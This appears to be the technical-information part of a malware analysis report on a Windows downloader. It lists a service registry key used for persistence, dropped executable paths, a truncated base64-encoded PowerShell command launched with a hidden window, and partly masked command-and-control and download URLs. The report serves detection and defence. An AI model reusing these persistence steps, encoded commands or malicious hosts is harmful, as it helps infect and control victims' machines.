Technical Information
- [<HKLM>\System\CurrentControlSet\Services\cscdll] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\cscdll] 'ImagePath' = '"%WINDIR%\SysWOW64\htui\cscdll.exe"'
- 'cscdll' "%WINDIR%\SysWOW64\htui\cscdll.exe"
- 'cscdll' %WINDIR%\SysWOW64\htui\cscdll.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMADAAcQBkAGcAdwB1AD0AWwBjAGgAYQByAF0ANAAyADsAJABSAGMAYQBlADUAbgBqAD0AKAAnAEkAMQAnACsAKAAnAHQAcQAnACsAJwBfAHQAMAAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQ...
- %HOMEPATH%\gl519my\w2xc3uy\ayyvs8riv.exe
- %WINDIR%\syswow64\htui\cscdll.exe
- from %HOMEPATH%\gl519my\w2xc3uy\ayyvs8riv.exe to %WINDIR%\syswow64\htui\cscdll.exe
- '18#.#57.101.114':80
- http://ma###erver.com/wp-content/T/
- http://18#.#57.101.114/b7qkz0FWHtkHlqYTCMm/Ku7VDM/jBBFkddI6FTQ7qIj7/Y5HgXLxjjdmOJxYCK/4a0VhNM5ajiYEz8/o6SatmyFKpHr7cYO/
- DNS ASK ma###erver.com
- '%HOMEPATH%\gl519my\w2xc3uy\ayyvs8riv.exe'
- '%WINDIR%\syswow64\htui\cscdll.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMADAAcQBkAGcAdwB1AD0AWwBjAGgAYQByAF0ANAAyADsAJABSAGMAYQBlADUAbgBqAD0AKAAnAEkAMQAnACsAKAAnAHQAcQAnACsAJwBfAHQAMAAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQ...' (with hidden window)